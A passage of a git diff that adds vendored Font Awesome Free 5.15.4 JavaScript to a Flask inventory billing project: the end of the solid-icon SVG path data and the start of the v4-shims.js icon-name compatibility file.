,16-16A16,16,0,0,1,240,224Z" ], + voicemail: [ 640, 512, [], "f897", "M496 128a144 144 0 0 0-119.74 224H263.74A144 144 0 1 0 144 416h352a144 144 0 0 0 0-288zM64 272a80 80 0 1 1 80 80 80 80 0 0 1-80-80zm432 80a80 80 0 1 1 80-80 80 80 0 0 1-80 80z" ], + "volleyball-ball": [ 512, 512, [], "f45f", "M231.39 243.48a285.56 285.56 0 0 0-22.7-105.7c-90.8 42.4-157.5 122.4-180.3 216.8a249 249 0 0 0 56.9 81.1 333.87 333.87 0 0 1 146.1-192.2zm-36.9-134.4a284.23 284.23 0 0 0-57.4-70.7c-91 49.8-144.8 152.9-125 262.2 33.4-83.1 98.4-152 182.4-191.5zm187.6 165.1c8.6-99.8-27.3-197.5-97.5-264.4-14.7-1.7-51.6-5.5-98.9 8.5A333.87 333.87 0 0 1 279.19 241a285 285 0 0 0 102.9 33.18zm-124.7 9.5a286.33 286.33 0 0 0-80.2 72.6c82 57.3 184.5 75.1 277.5 47.8a247.15 247.15 0 0 0 42.2-89.9 336.1 336.1 0 0 1-80.9 10.4c-54.6-.1-108.9-14.1-158.6-40.9zm-98.3 99.7c-15.2 26-25.7 54.4-32.1 84.2a247.07 247.07 0 0 0 289-22.1c-112.9 16.1-203.3-24.8-256.9-62.1zm180.3-360.6c55.3 70.4 82.5 161.2 74.6 253.6a286.59 286.59 0 0 0 89.7-14.2c0-2 .3-4 .3-6 0-107.8-68.7-199.1-164.6-233.4z" ], + "volume-down": [ 384, 512, [], "f027", "M215.03 72.04L126.06 161H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V89.02c0-21.47-25.96-31.98-40.97-16.98zm123.2 108.08c-11.58-6.33-26.19-2.16-32.61 9.45-6.39 11.61-2.16 26.2 9.45 32.61C327.98 229.28 336 242.62 336 257c0 14.38-8.02 27.72-20.92 34.81-11.61 6.41-15.84 21-9.45 32.61 6.43 11.66 21.05 15.8 32.61 9.45 28.23-15.55 45.77-45 45.77-76.88s-17.54-61.32-45.78-76.87z" ], + "volume-mute": [ 512, 512, [], "f6a9", "M215.03 71.05L126.06 160H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V88.02c0-21.46-25.96-31.98-40.97-16.97zM461.64 256l45.64-45.64c6.3-6.3 6.3-16.52 0-22.82l-22.82-22.82c-6.3-6.3-16.52-6.3-22.82 0L416 210.36l-45.64-45.64c-6.3-6.3-16.52-6.3-22.82 0l-22.82 22.82c-6.3 6.3-6.3 16.52 0 22.82L370.36 256l-45.63 45.63c-6.3 6.3-6.3 16.52 0 22.82l22.82 22.82c6.3 6.3 16.52 6.3 22.82 0L416 301.64l45.64 45.64c6.3 6.3 16.52 6.3 22.82 0l22.82-22.82c6.3-6.3 6.3-16.52 0-22.82L461.64 256z" ], + "volume-off": [ 256, 512, [], "f026", "M215 71l-89 89H24a24 24 0 0 0-24 24v144a24 24 0 0 0 24 24h102.06L215 441c15 15 41 4.47 41-17V88c0-21.47-26-32-41-17z" ], + "volume-up": [ 576, 512, [], "f028", "M215.03 71.05L126.06 160H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V88.02c0-21.46-25.96-31.98-40.97-16.97zm233.32-51.08c-11.17-7.33-26.18-4.24-33.51 6.95-7.34 11.17-4.22 26.18 6.95 33.51 66.27 43.49 105.82 116.6 105.82 195.58 0 78.98-39.55 152.09-105.82 195.58-11.17 7.32-14.29 22.34-6.95 33.5 7.04 10.71 21.93 14.56 33.51 6.95C528.27 439.58 576 351.33 576 256S528.27 72.43 448.35 19.97zM480 256c0-63.53-32.06-121.94-85.77-156.24-11.19-7.14-26.03-3.82-33.12 7.46s-3.78 26.21 7.41 33.36C408.27 165.97 432 209.11 432 256s-23.73 90.03-63.48 115.42c-11.19 7.14-14.5 22.07-7.41 33.36 6.51 10.36 21.12 15.14 33.12 7.46C447.94 377.94 480 319.54 480 256zm-141.77-76.87c-11.58-6.33-26.19-2.16-32.61 9.45-6.39 11.61-2.16 26.2 9.45 32.61C327.98 228.28 336 241.63 336 256c0 14.38-8.02 27.72-20.92 34.81-11.61 6.41-15.84 21-9.45 32.61 6.43 11.66 21.05 15.8 32.61 9.45 28.23-15.55 45.77-45 45.77-76.88s-17.54-61.32-45.78-76.86z" ], + "vote-yea": [ 640, 512, [], "f772", "M608 320h-64v64h22.4c5.3 0 9.6 3.6 9.6 8v16c0 4.4-4.3 8-9.6 8H73.6c-5.3 0-9.6-3.6-9.6-8v-16c0-4.4 4.3-8 9.6-8H96v-64H32c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32h576c17.7 0 32-14.3 32-32v-96c0-17.7-14.3-32-32-32zm-96 64V64.3c0-17.9-14.5-32.3-32.3-32.3H160.4C142.5 32 128 46.5 128 64.3V384h384zM211.2 202l25.5-25.3c4.2-4.2 11-4.2 15.2.1l41.3 41.6 95.2-94.4c4.2-4.2 11-4.2 15.2.1l25.3 25.5c4.2 4.2 4.2 11-.1 15.2L300.5 292c-4.2 4.2-11 4.2-15.2-.1l-74.1-74.7c-4.3-4.2-4.2-11 0-15.2z" ], + "vr-cardboard": [ 640, 512, [], "f729", "M608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h160.22c25.19 0 48.03-14.77 58.36-37.74l27.74-61.64C286.21 331.08 302.35 320 320 320s33.79 11.08 41.68 28.62l27.74 61.64C399.75 433.23 422.6 448 447.78 448H608c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM160 304c-35.35 0-64-28.65-64-64s28.65-64 64-64 64 28.65 64 64-28.65 64-64 64zm320 0c-35.35 0-64-28.65-64-64s28.65-64 64-64 64 28.65 64 64-28.65 64-64 64z" ], + walking: [ 320, 512, [], "f554", "M208 96c26.5 0 48-21.5 48-48S234.5 0 208 0s-48 21.5-48 48 21.5 48 48 48zm94.5 149.1l-23.3-11.8-9.7-29.4c-14.7-44.6-55.7-75.8-102.2-75.9-36-.1-55.9 10.1-93.3 25.2-21.6 8.7-39.3 25.2-49.7 46.2L17.6 213c-7.8 15.8-1.5 35 14.2 42.9 15.6 7.9 34.6 1.5 42.5-14.3L81 228c3.5-7 9.3-12.5 16.5-15.4l26.8-10.8-15.2 60.7c-5.2 20.8.4 42.9 14.9 58.8l59.9 65.4c7.2 7.9 12.3 17.4 14.9 27.7l18.3 73.3c4.3 17.1 21.7 27.6 38.8 23.3 17.1-4.3 27.6-21.7 23.3-38.8l-22.2-89c-2.6-10.3-7.7-19.9-14.9-27.7l-45.5-49.7 17.2-68.7 5.5 16.5c5.3 16.1 16.7 29.4 31.7 37l23.3 11.8c15.6 7.9 34.6 1.5 42.5-14.3 7.7-15.7 1.4-35.1-14.3-43zM73.6 385.8c-3.2 8.1-8 15.4-14.2 21.5l-50 50.1c-12.5 12.5-12.5 32.8 0 45.3s32.7 12.5 45.2 0l59.4-59.4c6.1-6.1 10.9-13.4 14.2-21.5l13.5-33.8c-55.3-60.3-38.7-41.8-47.4-53.7l-20.7 51.5z" ], + wallet: [ 512, 512, [], "f555", "M461.2 128H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h384c8.84 0 16-7.16 16-16 0-26.51-21.49-48-48-48H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h397.2c28.02 0 50.8-21.53 50.8-48V176c0-26.47-22.78-48-50.8-48zM416 336c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + warehouse: [ 640, 512, [], "f494", "M504 352H136.4c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8H504c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm0 96H136.1c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8h368c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm0-192H136.6c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8H504c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm106.5-139L338.4 3.7a48.15 48.15 0 0 0-36.9 0L29.5 117C11.7 124.5 0 141.9 0 161.3V504c0 4.4 3.6 8 8 8h80c4.4 0 8-3.6 8-8V256c0-17.6 14.6-32 32.6-32h382.8c18 0 32.6 14.4 32.6 32v248c0 4.4 3.6 8 8 8h80c4.4 0 8-3.6 8-8V161.3c0-19.4-11.7-36.8-29.5-44.3z" ], + water: [ 576, 512, [], "f773", "M562.1 383.9c-21.5-2.4-42.1-10.5-57.9-22.9-14.1-11.1-34.2-11.3-48.2 0-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3zm0-144c-21.5-2.4-42.1-10.5-57.9-22.9-14.1-11.1-34.2-11.3-48.2 0-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3zm0-144C540.6 93.4 520 85.4 504.2 73 490.1 61.9 470 61.7 456 73c-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3z" ], + "wave-square": [ 640, 512, [], "f83e", "M476 480H324a36 36 0 0 1-36-36V96h-96v156a36 36 0 0 1-36 36H16a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h112V68a36 36 0 0 1 36-36h152a36 36 0 0 1 36 36v348h96V260a36 36 0 0 1 36-36h140a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H512v156a36 36 0 0 1-36 36z" ], + weight: [ 512, 512, [], "f496", "M448 64h-25.98C438.44 92.28 448 125.01 448 160c0 105.87-86.13 192-192 192S64 265.87 64 160c0-34.99 9.56-67.72 25.98-96H64C28.71 64 0 92.71 0 128v320c0 35.29 28.71 64 64 64h384c35.29 0 64-28.71 64-64V128c0-35.29-28.71-64-64-64zM256 320c88.37 0 160-71.63 160-160S344.37 0 256 0 96 71.63 96 160s71.63 160 160 160zm-.3-151.94l33.58-78.36c3.5-8.17 12.94-11.92 21.03-8.41 8.12 3.48 11.88 12.89 8.41 21l-33.67 78.55C291.73 188 296 197.45 296 208c0 22.09-17.91 40-40 40s-40-17.91-40-40c0-21.98 17.76-39.77 39.7-39.94z" ], + "weight-hanging": [ 512, 512, [], "f5cd", "M510.28 445.86l-73.03-292.13c-3.8-15.19-16.44-25.72-30.87-25.72h-60.25c3.57-10.05 5.88-20.72 5.88-32 0-53.02-42.98-96-96-96s-96 42.98-96 96c0 11.28 2.3 21.95 5.88 32h-60.25c-14.43 0-27.08 10.54-30.87 25.72L1.72 445.86C-6.61 479.17 16.38 512 48.03 512h415.95c31.64 0 54.63-32.83 46.3-66.14zM256 128c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32z" ], + wheelchair: [ 512, 512, [], "f193", "M496.101 385.669l14.227 28.663c3.929 7.915.697 17.516-7.218 21.445l-65.465 32.886c-16.049 7.967-35.556 1.194-43.189-15.055L331.679 320H192c-15.925 0-29.426-11.71-31.679-27.475C126.433 55.308 128.38 70.044 128 64c0-36.358 30.318-65.635 67.052-63.929 33.271 1.545 60.048 28.905 60.925 62.201.868 32.933-23.152 60.423-54.608 65.039l4.67 32.69H336c8.837 0 16 7.163 16 16v32c0 8.837-7.163 16-16 16H215.182l4.572 32H352a32 32 0 0 1 28.962 18.392L438.477 396.8l36.178-18.349c7.915-3.929 17.517-.697 21.446 7.218zM311.358 352h-24.506c-7.788 54.204-54.528 96-110.852 96-61.757 0-112-50.243-112-112 0-41.505 22.694-77.809 56.324-97.156-3.712-25.965-6.844-47.86-9.488-66.333C45.956 198.464 0 261.963 0 336c0 97.047 78.953 176 176 176 71.87 0 133.806-43.308 161.11-105.192L311.358 352z" ], + wifi: [ 640, 512, [], "f1eb", "M634.91 154.88C457.74-8.99 182.19-8.93 5.09 154.88c-6.66 6.16-6.79 16.59-.35 22.98l34.24 33.97c6.14 6.1 16.02 6.23 22.4.38 145.92-133.68 371.3-133.71 517.25 0 6.38 5.85 16.26 5.71 22.4-.38l34.24-33.97c6.43-6.39 6.3-16.82-.36-22.98zM320 352c-35.35 0-64 28.65-64 64s28.65 64 64 64 64-28.65 64-64-28.65-64-64-64zm202.67-83.59c-115.26-101.93-290.21-101.82-405.34 0-6.9 6.1-7.12 16.69-.57 23.15l34.44 33.99c6 5.92 15.66 6.32 22.05.8 83.95-72.57 209.74-72.41 293.49 0 6.39 5.52 16.05 5.13 22.05-.8l34.44-33.99c6.56-6.46 6.33-17.06-.56-23.15z" ], + wind: [ 512, 512, [], "f72e", "M156.7 256H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h142.2c15.9 0 30.8 10.9 33.4 26.6 3.3 20-12.1 37.4-31.6 37.4-14.1 0-26.1-9.2-30.4-21.9-2.1-6.3-8.6-10.1-15.2-10.1H81.6c-9.8 0-17.7 8.8-15.9 18.4 8.6 44.1 47.6 77.6 94.2 77.6 57.1 0 102.7-50.1 95.2-108.6C249 291 205.4 256 156.7 256zM16 224h336c59.7 0 106.8-54.8 93.8-116.7-7.6-36.2-36.9-65.5-73.1-73.1-55.4-11.6-105.1 24.9-114.9 75.5-1.9 9.6 6.1 18.3 15.8 18.3h32.8c6.7 0 13.1-3.8 15.2-10.1C325.9 105.2 337.9 96 352 96c19.4 0 34.9 17.4 31.6 37.4-2.6 15.7-17.4 26.6-33.4 26.6H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16zm384 32H243.7c19.3 16.6 33.2 38.8 39.8 64H400c26.5 0 48 21.5 48 48s-21.5 48-48 48c-17.9 0-33.3-9.9-41.6-24.4-2.9-5-8.7-7.6-14.5-7.6h-33.8c-10.9 0-19 10.8-15.3 21.1 17.8 50.6 70.5 84.8 129.4 72.3 41.2-8.7 75.1-41.6 84.7-82.7C526 321.5 470.5 256 400 256z" ], + "window-close": [ 512, 512, [], "f410", "M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-83.6 290.5c4.8 4.8 4.8 12.6 0 17.4l-40.5 40.5c-4.8 4.8-12.6 4.8-17.4 0L256 313.3l-66.5 67.1c-4.8 4.8-12.6 4.8-17.4 0l-40.5-40.5c-4.8-4.8-4.8-12.6 0-17.4l67.1-66.5-67.1-66.5c-4.8-4.8-4.8-12.6 0-17.4l40.5-40.5c4.8-4.8 12.6-4.8 17.4 0l66.5 67.1 66.5-67.1c4.8-4.8 12.6-4.8 17.4 0l40.5 40.5c4.8 4.8 4.8 12.6 0 17.4L313.3 256l67.1 66.5z" ], + "window-maximize": [ 512, 512, [], "f2d0", "M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-16 160H64v-84c0-6.6 5.4-12 12-12h360c6.6 0 12 5.4 12 12v84z" ], + "window-minimize": [ 512, 512, [], "f2d1", "M464 352H48c-26.5 0-48 21.5-48 48v32c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48v-32c0-26.5-21.5-48-48-48z" ], + "window-restore": [ 512, 512, [], "f2d2", "M512 48v288c0 26.5-21.5 48-48 48h-48V176c0-44.1-35.9-80-80-80H128V48c0-26.5 21.5-48 48-48h288c26.5 0 48 21.5 48 48zM384 176v288c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V176c0-26.5 21.5-48 48-48h288c26.5 0 48 21.5 48 48zm-68 28c0-6.6-5.4-12-12-12H76c-6.6 0-12 5.4-12 12v52h252v-52z" ], + "wine-bottle": [ 512, 512, [], "f72f", "M507.31 72.57L439.43 4.69c-6.25-6.25-16.38-6.25-22.63 0l-22.63 22.63c-6.25 6.25-6.25 16.38 0 22.63l-76.67 76.67c-46.58-19.7-102.4-10.73-140.37 27.23L18.75 312.23c-24.99 24.99-24.99 65.52 0 90.51l90.51 90.51c24.99 24.99 65.52 24.99 90.51 0l158.39-158.39c37.96-37.96 46.93-93.79 27.23-140.37l76.67-76.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.24-6.24 6.24-16.37-.01-22.62zM179.22 423.29l-90.51-90.51 122.04-122.04 90.51 90.51-122.04 122.04z" ], + "wine-glass": [ 288, 512, [], "f4e3", "M216 464h-40V346.81c68.47-15.89 118.05-79.91 111.4-154.16l-15.95-178.1C270.71 6.31 263.9 0 255.74 0H32.26c-8.15 0-14.97 6.31-15.7 14.55L.6 192.66C-6.05 266.91 43.53 330.93 112 346.82V464H72c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h208c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40z" ], + "wine-glass-alt": [ 288, 512, [], "f5ce", "M216 464h-40V346.81c68.47-15.89 118.05-79.91 111.4-154.16l-15.95-178.1C270.71 6.31 263.9 0 255.74 0H32.26c-8.15 0-14.97 6.31-15.7 14.55L.6 192.66C-6.05 266.91 43.53 330.93 112 346.82V464H72c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h208c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40zM61.75 48h164.5l7.17 80H54.58l7.17-80z" ], + "won-sign": [ 576, 512, [], "f159", "M564 192c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-48l18.6-80.6c1.7-7.5-4-14.7-11.7-14.7h-46.1c-5.7 0-10.6 4-11.7 9.5L450.7 128H340.8l-19.7-86c-1.3-5.5-6.1-9.3-11.7-9.3h-44c-5.6 0-10.4 3.8-11.7 9.3l-20 86H125l-17.5-85.7c-1.1-5.6-6.1-9.6-11.8-9.6H53.6c-7.7 0-13.4 7.1-11.7 14.6L60 128H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h62.3l7.2 32H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h83.9l40.9 182.6c1.2 5.5 6.1 9.4 11.7 9.4h56.8c5.6 0 10.4-3.9 11.7-9.3L259.3 288h55.1l42.4 182.7c1.3 5.4 6.1 9.3 11.7 9.3h56.8c5.6 0 10.4-3.9 11.7-9.3L479.1 288H564c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-70.1l7.4-32zM183.8 342c-6.2 25.8-6.8 47.2-7.3 47.2h-1.1s-1.7-22-6.8-47.2l-11-54h38.8zm27.5-118h-66.8l-6.5-32h80.8zm62.9 0l2-8.6c1.9-8 3.5-16 4.8-23.4h11.8c1.3 7.4 2.9 15.4 4.8 23.4l2 8.6zm130.9 118c-5.1 25.2-6.8 47.2-6.8 47.2h-1.1c-.6 0-1.1-21.4-7.3-47.2l-12.4-54h39.1zm25.2-118h-67.4l-7.3-32h81.6z" ], + wrench: [ 512, 512, [], "f0ad", "M507.73 109.1c-2.24-9.03-13.54-12.09-20.12-5.51l-74.36 74.36-67.88-11.31-11.31-67.88 74.36-74.36c6.62-6.62 3.43-17.9-5.66-20.16-47.38-11.74-99.55.91-136.58 37.93-39.64 39.64-50.55 97.1-34.05 147.2L18.74 402.76c-24.99 24.99-24.99 65.51 0 90.5 24.99 24.99 65.51 24.99 90.5 0l213.21-213.21c50.12 16.71 107.47 5.68 147.37-34.22 37.07-37.07 49.7-89.32 37.91-136.73zM64 472c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z" ], + "x-ray": [ 640, 512, [], "f497", "M240 384c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm160 32c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zM624 0H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16zm0 448h-48V96H64v352H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM480 248c0 4.4-3.6 8-8 8H336v32h104c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H336v32h64c26.5 0 48 21.5 48 48s-21.5 48-48 48-48-21.5-48-48v-16h-64v16c0 26.5-21.5 48-48 48s-48-21.5-48-48 21.5-48 48-48h64v-32H200c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h104v-32H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h136v-32H200c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h104v-24c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v24h104c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H336v32h136c4.4 0 8 3.6 8 8v16z" ], + "yen-sign": [ 384, 512, [], "f157", "M351.2 32h-65.3c-4.6 0-8.8 2.6-10.8 6.7l-55.4 113.2c-14.5 34.7-27.1 71.9-27.1 71.9h-1.3s-12.6-37.2-27.1-71.9L108.8 38.7c-2-4.1-6.2-6.7-10.8-6.7H32.8c-9.1 0-14.8 9.7-10.6 17.6L102.3 200H44c-6.6 0-12 5.4-12 12v32c0 6.6 5.4 12 12 12h88.2l19.8 37.2V320H44c-6.6 0-12 5.4-12 12v32c0 6.6 5.4 12 12 12h108v92c0 6.6 5.4 12 12 12h56c6.6 0 12-5.4 12-12v-92h108c6.6 0 12-5.4 12-12v-32c0-6.6-5.4-12-12-12H232v-26.8l19.8-37.2H340c6.6 0 12-5.4 12-12v-32c0-6.6-5.4-12-12-12h-58.3l80.1-150.4c4.3-7.9-1.5-17.6-10.6-17.6z" ], + "yin-yang": [ 496, 512, [], "f6ad", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 376c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-128c-53.02 0-96 42.98-96 96s42.98 96 96 96c-106.04 0-192-85.96-192-192S141.96 64 248 64c53.02 0 96 42.98 96 96s-42.98 96-96 96zm0-128c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z" ] + }; + !function(c) { + try { + c(); + } catch (c) { + if (!m) throw c; + } + }(function() { + V("fas", L); + }); +}(); \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/v4-shims.js b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/v4-shims.js new file mode 100644 index 00000000..fdcaf953 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/v4-shims.js @@ -0,0 +1,68 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +(function (global, factory) { + typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() : + typeof define === 'function' && define.amd ? define(factory) : + (global['fontawesome-free-shims'] = factory()); +}(this, (function () { 'use strict'; + + var _WINDOW = {}; + var _DOCUMENT = {}; + + try { + if (typeof window !== 'undefined') _WINDOW = window; + if (typeof document !== 'undefined') _DOCUMENT = document; + } catch (e) {} + + var _ref = _WINDOW.navigator || {}, + _ref$userAgent = _ref.userAgent, + userAgent = _ref$userAgent === void 0 ? '' : _ref$userAgent; + + var WINDOW = _WINDOW; + var DOCUMENT = _DOCUMENT; + var IS_BROWSER = !!WINDOW.document; + var IS_DOM = !!DOCUMENT.documentElement && !!DOCUMENT.head && typeof DOCUMENT.addEventListener === 'function' && typeof DOCUMENT.createElement === 'function'; + var IS_IE = ~userAgent.indexOf('MSIE') || ~userAgent.indexOf('Trident/'); + + var NAMESPACE_IDENTIFIER = '___FONT_AWESOME___'; + var PRODUCTION = function () { + try { + return process.env.NODE_ENV === 'production'; + } catch (e) { + return false; + } + }(); + + function bunker(fn) { + try { + fn(); + } catch (e) { + if (!PRODUCTION) { + throw e; + } + } + } + + var w = WINDOW || {}; + if (!w[NAMESPACE_IDENTIFIER]) w[NAMESPACE_IDENTIFIER] = {}; + if (!w[NAMESPACE_IDENTIFIER].styles) w[NAMESPACE_IDENTIFIER].styles = {}; + if (!w[NAMESPACE_IDENTIFIER].hooks) w[NAMESPACE_IDENTIFIER].hooks = {}; + if (!w[NAMESPACE_IDENTIFIER].shims) w[NAMESPACE_IDENTIFIER].shims = []; + var namespace = w[NAMESPACE_IDENTIFIER]; + + var shims = [["glass", null, "glass-martini"], ["meetup", "fab", null], ["star-o", "far", "star"], ["remove", null, "times"], ["close", null, "times"], ["gear", null, "cog"], ["trash-o", "far", "trash-alt"], ["file-o", "far", "file"], ["clock-o", "far", "clock"], ["arrow-circle-o-down", "far", "arrow-alt-circle-down"], ["arrow-circle-o-up", "far", "arrow-alt-circle-up"], ["play-circle-o", "far", "play-circle"], ["repeat", null, "redo"], ["rotate-right", null, "redo"], ["refresh", null, "sync"], ["list-alt", "far", null], ["dedent", null, "outdent"], ["video-camera", null, "video"], ["picture-o", "far", "image"], ["photo", "far", "image"], ["image", "far", "image"], ["pencil", null, "pencil-alt"], ["map-marker", null, "map-marker-alt"], ["pencil-square-o", "far", "edit"], ["share-square-o", "far", "share-square"], ["check-square-o", "far", "check-square"], ["arrows", null, "arrows-alt"], ["times-circle-o", "far", "times-circle"], ["check-circle-o", "far", "check-circle"], ["mail-forward", null, "share"], ["expand", null, "expand-alt"], ["compress", null, "compress-alt"], ["eye", "far", null], ["eye-slash", "far", null], ["warning", null, "exclamation-triangle"], ["calendar", null, "calendar-alt"], ["arrows-v", null, "arrows-alt-v"], ["arrows-h", null, "arrows-alt-h"], ["bar-chart", "far", "chart-bar"], ["bar-chart-o", "far", "chart-bar"], ["twitter-square", "fab", null], ["facebook-square", "fab", null], ["gears", null, "cogs"], ["thumbs-o-up", "far", "thumbs-up"], ["thumbs-o-down", "far", "thumbs-down"], ["heart-o", "far", "heart"], ["sign-out", null, "sign-out-alt"], ["linkedin-square", "fab", "linkedin"], ["thumb-tack", null, "thumbtack"], ["external-link", null, "external-link-alt"], ["sign-in", null, "sign-in-alt"], ["github-square", "fab", null], ["lemon-o", "far", "lemon"], ["square-o", "far", "square"], ["bookmark-o", "far", "bookmark"], ["twitter", "fab", null], ["facebook", "fab", "facebook-f"], ["facebook-f", "fab", "facebook-f"], ["github", "fab", null], ["credit-card", "far", null], ["feed", null, "rss"], ["hdd-o", "far", "hdd"], ["hand-o-right", "far", "hand-point-right"], ["hand-o-left", "far", "hand-point-left"], ["hand-o-up", "far", "hand-point-up"], ["hand-o-down", "far", "hand-point-down"], ["arrows-alt", null, "expand-arrows-alt"], ["group", null, "users"], ["chain", null, "link"], ["scissors", null, "cut"], ["files-o", "far", "copy"], ["floppy-o", "far", "save"], ["navicon", null, "bars"], ["reorder", null, "bars"], ["pinterest", "fab", null], ["pinterest-square", "fab", null], ["google-plus-square", "fab", null], ["google-plus", "fab", "google-plus-g"], ["money", "far", "money-bill-alt"], ["unsorted", null, "sort"], ["sort-desc", null, "sort-down"], ["sort-asc", null, "sort-up"], ["linkedin", "fab", "linkedin-in"], ["rotate-left", null, "undo"], ["legal", null, "gavel"], ["tachometer", null, "tachometer-alt"], ["dashboard", null, "tachometer-alt"], ["comment-o", "far", "comment"], ["comments-o", "far", "comments"], ["flash", null, "bolt"], ["clipboard", "far", null], ["paste", "far", "clipboard"], ["lightbulb-o", "far", "lightbulb"], ["exchange", null, "exchange-alt"], ["cloud-download", null, "cloud-download-alt"], ["cloud-upload", null, "cloud-upload-alt"], ["bell-o", "far", "bell"], ["cutlery", null, "utensils"], ["file-text-o", "far", "file-alt"], ["building-o", "far", "building"], ["hospital-o", "far", "hospital"], ["tablet", null, "tablet-alt"], ["mobile", null, "mobile-alt"], ["mobile-phone", null, "mobile-alt"], ["circle-o", "far", "circle"], ["mail-reply", null, "reply"], ["github-alt", "fab", null], ["folder-o", "far", "folder"], ["folder-open-o", "far", "folder-open"], ["smile-o", "far", "smile"], ["frown-o", "far", "frown"], ["meh-o", "far", "meh"], ["keyboard-o", "far", "keyboard"], ["flag-o", "far", 